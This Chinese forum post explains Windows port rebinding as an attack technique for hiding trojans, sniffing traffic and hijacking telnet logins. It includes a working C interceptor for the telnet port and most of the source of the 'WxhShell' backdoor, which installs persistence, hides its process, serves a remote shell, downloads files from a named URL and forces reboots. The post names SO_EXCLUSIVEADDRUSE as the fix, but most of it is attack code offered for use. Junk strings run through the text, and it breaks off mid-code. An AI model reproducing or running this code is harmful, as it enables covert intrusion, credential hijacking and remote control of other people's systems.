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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q[HTnx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t *1u[~=  
5|l* `J)  
  saddr.sin_family = AF_INET; e?opkq\f  
IIg^FZ*]_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qp/v^$EA  
BnCbon)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .C&ktU4  
SF&BbjBE0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Kz>3 ic$I  
gUxP>hB  
  这意味着什么?意味着可以进行如下的攻击: oX0D  
>}!mQpAO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :X.b}^Z(  
Ko;{I?c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0}$Hi  
CACTE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0|$v-`P$  
CPP` qt%f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nyBJb(5"B  
R(2tlZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Cz 72?[6  
+)j$|x~(A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c%&: 6QniZ  
(>VX-Y/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u#Z#)3P  
0Uz\H0T1  
  #include )+}]+xRWGj  
  #include L1i eaKw  
  #include lmfi  
  #include    I3,= 0z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @r#v[I  
  int main() .Jt[(;  
  { $/.zm; D  
  WORD wVersionRequested; lD"(MQV@0  
  DWORD ret; sYjpU  
  WSADATA wsaData; O>^C4c!  
  BOOL val; P5 K' p5}#  
  SOCKADDR_IN saddr; *tgnYa[l  
  SOCKADDR_IN scaddr; D+]a.& {p  
  int err; `0P$#5?  
  SOCKET s; t: #6sF  
  SOCKET sc; b!sRk@LGZ  
  int caddsize; F{eU";D  
  HANDLE mt; `t_W2y   
  DWORD tid;   l~6?kFy9h  
  wVersionRequested = MAKEWORD( 2, 2 );  /o[?D  
  err = WSAStartup( wVersionRequested, &wsaData ); tZ^Ou89:rG  
  if ( err != 0 ) { 0JlZs]  
  printf("error!WSAStartup failed!\n"); J.ck~;3  
  return -1; 8"dv_`ym  
  } O [i#9)  
  saddr.sin_family = AF_INET; FI3)i>CnW  
   5dB'&8DX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i?fOK_d  
vgUb{D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q o\?o    
  saddr.sin_port = htons(23); ~ECD`N<YF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QNA RkYY~|  
  { iMs5zf <M  
  printf("error!socket failed!\n"); hRty [  
  return -1; WHjUR0NZ  
  } W Dg+J  
  val = TRUE; $OP7l>KZY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >2,Gy-&"0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }; f#^gz'  
  { 2I&o69x?  
  printf("error!setsockopt failed!\n"); >y[oP!-|P  
  return -1;  ^}:#  
  } 3'^k$;^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .h9l7 nZt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ")V130<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b|+wc6   
2Z3('?\z~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y]L9Y9  
  { iVG-_RsKK  
  ret=GetLastError(); (;q\}u  
  printf("error!bind failed!\n"); P#fM:z@[  
  return -1; n84GZ5O>7  
  } | fSe>uVZ  
  listen(s,2); nWMmna.5  
  while(1) Kt"BE j  
  { ~ug= {b  
  caddsize = sizeof(scaddr); Nkp)Ax&  
  //接受连接请求 ik!..9aB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); " t7M3i_  
  if(sc!=INVALID_SOCKET) .!G94b  
  { xA9:*>+>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  >lBD<;T  
  if(mt==NULL) z}{afEb  
  { #{=;NuP  
  printf("Thread Creat Failed!\n"); 5g9; +}X;  
  break; DSt]{fl`P  
  } nzmDA6d  
  } !OT-b>*w  
  CloseHandle(mt); :dLAs@z  
  } PSPmO'C+  
  closesocket(s); wlEdt1G  
  WSACleanup(); \[jq4`\$  
  return 0; D5:{fWVsV/  
  }   7}vg.hmZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) s%2v3eb  
  { L3n_ 5|  
  SOCKET ss = (SOCKET)lpParam; L5qwWvbT  
  SOCKET sc; -.T&(&>^  
  unsigned char buf[4096]; %/YcL6o(  
  SOCKADDR_IN saddr; L~I hsiB  
  long num; h+aS4Q&  
  DWORD val; M?[h0{^K  
  DWORD ret; ^b7GH9<&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5vw{b?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^|TG$`M(w  
  saddr.sin_family = AF_INET; xCYE B}o9r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $d,0=Ci  
  saddr.sin_port = htons(23); lhtZaU~V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A0fFv+RN3  
  { (sQr X{~  
  printf("error!socket failed!\n"); I(9R~q  
  return -1; 'sxNDnGg  
  } vmLxkjUm#  
  val = 100; H6&J;yT}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5ux`U{`m  
  { kWNV%RlSx  
  ret = GetLastError(); ONCnVjZ  
  return -1; YSj+\Z$(  
  } P1NJ^rX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wN2QK6Oc  
  { O)Y?=G)  
  ret = GetLastError(); 3;8!rNN  
  return -1; ZvUC I8  
  } Y& F=t/U2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HU9Sl*/  
  { 4[BG#  
  printf("error!socket connect failed!\n"); F*.g;So  
  closesocket(sc); gl]E_%tH  
  closesocket(ss); cetvQAGXY  
  return -1; {O+Kw<d  
  } JMVNmq&0  
  while(1) NHl|x4Zpw  
  { 8@PX7!9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 TARXx>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l27\diKPJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TuW/N L|  
  num = recv(ss,buf,4096,0); 6: ]*c[7  
  if(num>0) JkGnKm9G  
  send(sc,buf,num,0); ;A'":vXmc  
  else if(num==0) rY p3(k3  
  break; }=v)Js  
  num = recv(sc,buf,4096,0); wQ%mN[  
  if(num>0) Uz7^1.-g4  
  send(ss,buf,num,0); doB  
  else if(num==0) 4&HXkRs:  
  break; /l{ &iLz[  
  } m~>Y{F2  
  closesocket(ss); 7#~+@'Oe  
  closesocket(sc); l9Q(xuhv  
  return 0 ; ay %KE=*v  
  } 1-Po Z[p-R  
7Su#Je]  
*A~ G_0B  
========================================================== ;3 F"TH  
<HRBMSR+  
下边附上一个代码,,WXhSHELL FVKW9"AyW  
i@][rdhT  
========================================================== -kS~xVS|  
T2D<UhP  
#include "stdafx.h" w ~ dk#=  
2>\v*adG  
#include <stdio.h> }/,HM9Ke  
#include <string.h> 6&!&\  
#include <windows.h> 1lsLJ4P  
#include <winsock2.h> C_ \q?>  
#include <winsvc.h> /1 RAAa  
#include <urlmon.h> \V>?Do7  
x)UwV  
#pragma comment (lib, "Ws2_32.lib") !J =sk4T  
#pragma comment (lib, "urlmon.lib") )I\=BPo|B  
||zb6|7I4  
#define MAX_USER   100 // 最大客户端连接数 : iiw3#]  
#define BUF_SOCK   200 // sock buffer J|3E-p\o  
#define KEY_BUFF   255 // 输入 buffer qClHP)<  
HK~xOAF  
#define REBOOT     0   // 重启 vfNAs>Xg"  
#define SHUTDOWN   1   // 关机 UYA_jpIP  
@VN&t:/l  
#define DEF_PORT   5000 // 监听端口 L.T?}o  
Q`#4W3-,  
#define REG_LEN     16   // 注册表键长度 ?go:e#  
#define SVC_LEN     80   // NT服务名长度 c!hwmy;  
cD4 kC>P*  
// 从dll定义API [I:KpAd/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y}v+c%d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~w</!s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HK)cKzG[s!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {T'GQz+R"  
%hN.ktZ/s  
// wxhshell配置信息 4 V1bLm  
struct WSCFG { TrdZJ21#M  
  int ws_port;         // 监听端口 {u[V{XIUh  
  char ws_passstr[REG_LEN]; // 口令 %Rh;=p`  
  int ws_autoins;       // 安装标记, 1=yes 0=no !vn1v)6  
  char ws_regname[REG_LEN]; // 注册表键名 ^VT1vu %03  
  char ws_svcname[REG_LEN]; // 服务名 @h?shW=^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "C?5f]T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F/1#l@qN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?%O3Oi Xz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j$da8] !  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =&dW(uyzY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7DKz;o  
)s9',4$eK<  
}; $DBGLmw  
@FN*TJ  
// default Wxhshell configuration XCsiEKZ_i  
struct WSCFG wscfg={DEF_PORT, PS S?|Vk  
    "xuhuanlingzhe", 'O6]0l  
    1, Gq#~vr  
    "Wxhshell", dV?5Q_}  
    "Wxhshell", U6[ang'l  
            "WxhShell Service", ?4G|+yby  
    "Wrsky Windows CmdShell Service", LwuF0\  
    "Please Input Your Password: ", @mt0kV9  
  1, U Q@7n1  
  "http://www.wrsky.com/wxhshell.exe", YHV-|UNF  
  "Wxhshell.exe" (!5LW '3B  
    }; ( #Z`  
/?/#B `  
// 消息定义模块 B`$L'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +KEkmXZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X~ Rl 6/,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S>q>K"j^!  
char *msg_ws_ext="\n\rExit."; HftxS  
char *msg_ws_end="\n\rQuit."; !5}l&7:(MN  
char *msg_ws_boot="\n\rReboot..."; ?@6/Alk  
char *msg_ws_poff="\n\rShutdown..."; |DF9cd^  
char *msg_ws_down="\n\rSave to "; i v(5&'[p  
utlpY1#q/  
char *msg_ws_err="\n\rErr!"; r' BAT3  
char *msg_ws_ok="\n\rOK!"; 'j%F]CK  
Xl |1YX1&m  
char ExeFile[MAX_PATH]; ExHAY|UA  
int nUser = 0; rSP_:}  
HANDLE handles[MAX_USER]; ?R Fg$Z'^  
int OsIsNt; K:y^OAZfV  
:RxHw;!  
SERVICE_STATUS       serviceStatus; s,*c@1f?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DZ ^1s~  
s]27l3)B  
// 函数声明 HjWq[[Nz  
int Install(void); W</n=D<,I  
int Uninstall(void); t j Vh^  
int DownloadFile(char *sURL, SOCKET wsh); Vy G4(X va  
int Boot(int flag); )<4_:  
void HideProc(void); \nrP$  
int GetOsVer(void); Q}A=jew  
int Wxhshell(SOCKET wsl); t@?u  
void TalkWithClient(void *cs); UFn8kBk  
int CmdShell(SOCKET sock); 3b[jwCt  
int StartFromService(void); O$ !* %TL  
int StartWxhshell(LPSTR lpCmdLine); !wLg67X$ -  
k /EDc533d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eyw'7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VY 1vXM3y  
h7_)%U<J2  
// 数据结构和表定义 K_-d(  
SERVICE_TABLE_ENTRY DispatchTable[] = *HM?YhR  
{ +UWU|:  
{wscfg.ws_svcname, NTServiceMain}, J#3{S]* v_  
{NULL, NULL} Ek.&Sf$cd'  
}; B`#h{)[  
$<)Yyi>6E  
// 自我安装 ekf$dgoR  
int Install(void) _q>SE1j+W=  
{ Y^ve:Z  
  char svExeFile[MAX_PATH]; pF=g||gS  
  HKEY key; H ;@!?I  
  strcpy(svExeFile,ExeFile); y@ek=fT%4  
m)?5}ZwAH  
// 如果是win9x系统,修改注册表设为自启动 1ywU@].6J]  
if(!OsIsNt) { J_#R 87  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0_<Nc/(P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j;P+_Hfe/E  
  RegCloseKey(key); s0LA^2U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^gro=Bp(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S9Y[4*//  
  RegCloseKey(key); YwT-T,oD  
  return 0; _EYB 8e  
    } FJM;X-UOY  
  } &b C}3D  
} sJr5t?  
else { 73NZ:h%=  
FY;+PY@I{  
// 如果是NT以上系统,安装为系统服务 EH9Hpo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,qFA\cO*  
if (schSCManager!=0) ~0tdfK0c  
{ L0h G  
  SC_HANDLE schService = CreateService 1-;?0en&0  
  ( \x\.  
  schSCManager, uVU`tDzd:  
  wscfg.ws_svcname, K!8zwb=fq  
  wscfg.ws_svcdisp, Aa(<L$e!`  
  SERVICE_ALL_ACCESS, m24v@?*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (RF>s.B<  
  SERVICE_AUTO_START, !)H*r|*[  
  SERVICE_ERROR_NORMAL, (7q^FtjA#  
  svExeFile,  ~Nh&.a  
  NULL, U1m\\<,  
  NULL, }#N]0I)JI  
  NULL, ?s{C//  
  NULL, X}JWf<=q  
  NULL r:l96^xs  
  ); Q^h5">P  
  if (schService!=0) XdIah<F2  
  { 0g(6r-2)7  
  CloseServiceHandle(schService); [Z }B"  
  CloseServiceHandle(schSCManager); T[Q"}&bB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gi$gtLtN h  
  strcat(svExeFile,wscfg.ws_svcname); bejGfc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !;}2F-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]if;A)'  
  RegCloseKey(key); {/UhUG  
  return 0; I"Q<n[g0'  
    } ua& @GXvZ  
  } z%2w(&1  
  CloseServiceHandle(schSCManager); Kmry=`=A  
} LcUlc)YH5  
} r\mPIr|  
X=_Z(;<&  
return 1; (wL3 +  
} X5E '*W  
D9,! %7i  
// 自我卸载 &:vsc Ol  
int Uninstall(void) dK # h<q1  
{ #MM &BC  
  HKEY key; =P_fv  
%-^}45](q  
if(!OsIsNt) { 9/;{>RL=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cF.mb*$K  
  RegDeleteValue(key,wscfg.ws_regname); Qb@eK$wo}  
  RegCloseKey(key); M/w{&&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g X/NtO %  
  RegDeleteValue(key,wscfg.ws_regname); {[3YJkrM  
  RegCloseKey(key); bXl8v  
  return 0; l P0k:  
  } iSd?N}2,I  
} ,C!n}+27  
} kMS5h~D[  
else { eY3=|RR  
|!b9b(_j9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {})y^L  
if (schSCManager!=0) IQ{?_'  
{ UX}*X`{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8eww7k^R  
  if (schService!=0) G2@KI-  
  { )5i* /I\  
  if(DeleteService(schService)!=0) { ;eR{tH /4  
  CloseServiceHandle(schService); (5(fd.m+_  
  CloseServiceHandle(schSCManager); |BJqy/  
  return 0; x(6vh2#vD  
  }  1~EO+  
  CloseServiceHandle(schService); Y(z }[`2  
  } !fZLQc  
  CloseServiceHandle(schSCManager); { y/-:=S)A  
} .;Z.F7{q  
} 5&%fkZ0  
j];G*-iv{  
return 1; Kw*~W i  
} bA+[{  
}bgo )<i  
// 从指定url下载文件 *.dKR  
int DownloadFile(char *sURL, SOCKET wsh) (,TH~("{  
{ | XLFV  
  HRESULT hr; &<{}8/x8(  
char seps[]= "/"; |KaR n;BM  
char *token; Xoi9d1fO  
char *file; [Pqn 3I[  
char myURL[MAX_PATH]; -7 L  
char myFILE[MAX_PATH]; !&0a<~ Wi  
)8]3kQffJ=  
strcpy(myURL,sURL); C,='3^Nc  
  token=strtok(myURL,seps); ReqE?CeV  
  while(token!=NULL) K051usm  
  { ] j1 vbk  
    file=token; mrReast  
  token=strtok(NULL,seps); 1w) fu  
  } C$ hQN  
nr<.YeJ  
GetCurrentDirectory(MAX_PATH,myFILE); M/)B" q  
strcat(myFILE, "\\"); KE#$+,?  
strcat(myFILE, file); QB9A-U <J  
  send(wsh,myFILE,strlen(myFILE),0); w%I8CU_}.  
send(wsh,"...",3,0); cS 4T\{B;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,N;v~D$Y  
  if(hr==S_OK) .hgH9$\  
return 0; *sAOpf@M  
else mQnL<0_<f  
return 1; PuU*vs3  
Ir>2sTrm  
} z^9E;  
\@:j  
// 系统电源模块 U~hCn+0  
int Boot(int flag) pNSst_!>  
{ L3g9b53\  
  HANDLE hToken; ;6zPiaDQ  
  TOKEN_PRIVILEGES tkp; ?AT(S  
A_]D~HH  
  if(OsIsNt) { $BaK'7=3*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TL]bY'%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `_ 0)kdu  
    tkp.PrivilegeCount = 1; @%%bRY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e+x*psQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GGp{b>E+ #  
if(flag==REBOOT) { 0hb/`[Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cPm~` Zd  
  return 0; >z5Oy  
} y78z>(jV  
else { h%/ssB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #9INX`s-  
  return 0; k|l5"&K~.  
} {Bc#?n  
  } .h a`)@MsZ  
  else { ;i}i5yv2  
if(flag==REBOOT) { ^YqbjL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %db3f z  
  return 0; <qr^Nyo4  
} ,Z?m`cx  
else { #[Z<=i~C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (A2U~j?Ry}  
  return 0; -#daBx ?  
} {dDq*sLf  
} 22PGWSQ  
wJ/ ~q)  
return 1; G IK u  
} QT7_x`#J~o  
s5nB(L*Pjp  
// win9x进程隐藏模块 8KZ$ F>T]>  
void HideProc(void) Pb3EnNqYbM  
{ Z%KL[R}^w;  
|E? ,xWN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |c=d;+  
  if ( hKernel != NULL ) )4Bwt`VX  
  { S'|lU@P Cl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :82?'aR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6(,ItMbI  
    FreeLibrary(hKernel); N:twq&[Y  
  } oO8]lHS?@  
Z0{f  
return; G]at{(^Vz  
} EgFl="0  
l<s :%%CX  
// 获取操作系统版本 " S ?Km  
int GetOsVer(void) >J9IRAm}sc  
{ JXlTN[O  
  OSVERSIONINFO winfo; 8 H,_vf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %bEGv:88s  
  GetVersionEx(&winfo); i_|h{JK)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *m iONc  
  return 1; Pu1GCr(  
  else JN-D/s  
  return 0; N&x@_t""   
} 5 Xk~,%-C  
#j\*Lc"Ur:  
// 客户端句柄模块 $#TID=  
int Wxhshell(SOCKET wsl) `CPZPp,l6`  
{ s z;=mMr/Z  
  SOCKET wsh; md.*  
  struct sockaddr_in client; }R4(B2vup  
  DWORD myID; zwKg  
 ~WzMK  
  while(nUser<MAX_USER) ~}epq6L>  
{ 3O#~dFnp  
  int nSize=sizeof(client); \a\^(`3a[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aeLBaS  
  if(wsh==INVALID_SOCKET) return 1; o]dK^[/*  
\o0z@Ntq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |}l@w +N3  
if(handles[nUser]==0) n+v!H O"2u  
  closesocket(wsh); b(g_.1[  
else Ar\IZ_Q  
  nUser++; ": mCZUt  
  } kt;}]O2%R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GjG{qR  
c& 9+/JYMo  
  return 0; l_UXrnm/N  
} rOs)B21/  
u?F7 L8q]  
// 关闭 socket B.h0" vJ  
void CloseIt(SOCKET wsh) mvUVy1-c  
{ cpP.7ZR  
closesocket(wsh); 9|us<k  
nUser--; %Y#[% ~|(  
ExitThread(0); x& mz-  
}  "Nk`RsW  
T3=-UYx]  
// 客户端请求句柄 .%-6&%1  
void TalkWithClient(void *cs) Tb>IHoil  
{ 8:;u v7p  
;}UIj{sj*  
  SOCKET wsh=(SOCKET)cs; 3(oZZz  
  char pwd[SVC_LEN]; I8E\'`:<  
  char cmd[KEY_BUFF]; 1^n5CI|7u  
char chr[1]; q g) Af  
int i,j; 6$xo# }8  
\c5#\1<  
  while (nUser < MAX_USER) { 'p4da2%  
BaNU}@  
if(wscfg.ws_passstr) { jM|YW*zNZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PM#$H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %!N2!IiVs  
  //ZeroMemory(pwd,KEY_BUFF); iKR8^sj7S  
      i=0; g_-?h&W  
  while(i<SVC_LEN) { H24ate?t,  
@g@ fL%  
  // 设置超时 f(w#LuW<  
  fd_set FdRead; Rx@%cuP*  
  struct timeval TimeOut; f(@"[-[  
  FD_ZERO(&FdRead); -oaG|  
  FD_SET(wsh,&FdRead); 9-X{x95]  
  TimeOut.tv_sec=8; +35)=Uov  
  TimeOut.tv_usec=0; ?=pZmvQg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1{;[q3a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x"zjN'|  
Z7m GC`>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .(gT+5[  
  pwd=chr[0]; EU?&  
  if(chr[0]==0xd || chr[0]==0xa) { i9f7=-[U_  
  pwd=0; `\WcF7  
  break; ai<MsQQ:=  
  } FVvv   
  i++; 'p|Iwtjn>  
    } 7g4M/?H}K  
rU2YMghE  
  // 如果是非法用户,关闭 socket R &1mo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U_ N5~#9   
} 5<:VJC<  
E)rOlh7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O,V6hU/ *  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x):k#cu[L  
76u/WC>B  
while(1) { Bsih<`KF^  
S1x.pLHj8  
  ZeroMemory(cmd,KEY_BUFF); D-2v>l_  
h1G*y  
      // 自动支持客户端 telnet标准   Cnc\sMDJ\B  
  j=0; ,&zjOc_v  
  while(j<KEY_BUFF) {  01UR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tNi% }~Z  
  cmd[j]=chr[0]; \r1kbf7?  
  if(chr[0]==0xa || chr[0]==0xd) { GtAJ#[5w  
  cmd[j]=0; ]Lb?#S  
  break; iA^+/Lt  
  } 8-y: ==C  
  j++; K@$L~G  
    } +cE tm  
:DJ7d  
  // 下载文件 -KU)7V  
  if(strstr(cmd,"http://")) { 3_j C sX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U`8^N.Snrp  
  if(DownloadFile(cmd,wsh)) S$kuhK>W!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6iV"Tl{z-  
  else 9wYtOQ{g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a|6x!p2X  
  } Te U7W?M^  
  else { %M0mwty]  
YKX>@)Dxv  
    switch(cmd[0]) { 4, *^QK  
  &xiDG=I#  
  // 帮助 8y 4D9_{  
  case '?': { -'p@ lk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gw&#X~em  
    break; r PRuSk-f  
  } ma]F%E+$  
  // 安装 ~QEXB*X-g'  
  case 'i': { l_j<aCY?|  
    if(Install()) @7[.> I(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VM V]TPks>  
    else mB|mt+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >kDdWgRQ  
    break; 5[j!\d}U  
    } eV {FcJha  
  // 卸载 zcD_}t_K  
  case 'r': { tM PX vE  
    if(Uninstall()) mZ0oa-Iy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % Dr4~7=7a  
    else a@_Cx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :C:N]6_{SZ  
    break; :?:j$ =nWN  
    } ,O&PLr8cJ?  
  // 显示 wxhshell 所在路径 ^ yukn*L  
  case 'p': { a+>W  
    char svExeFile[MAX_PATH]; ?:''VM.  
    strcpy(svExeFile,"\n\r"); mP$G9R  
      strcat(svExeFile,ExeFile); Ignv|TYG  
        send(wsh,svExeFile,strlen(svExeFile),0); U3j~}H.D1  
    break; gHh.|PysW  
    } @;n$caw  
  // 重启 VgZaDd;  
  case 'b': { 5q_OuZ/6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Uh|__DUkh  
    if(Boot(REBOOT)) r)#"$Sm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w[$nO#  
    else { b\0Q:  
    closesocket(wsh); .dKRIFo  
    ExitThread(0); MkNURy>n&  
    } j'40>Ct=i  
    break; <Ec)m69P  
    } Va |9)m  
  // 关机 kW2nrkF  
  case 'd': { K%TKQ<R|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); < 8 Y<w|Hh  
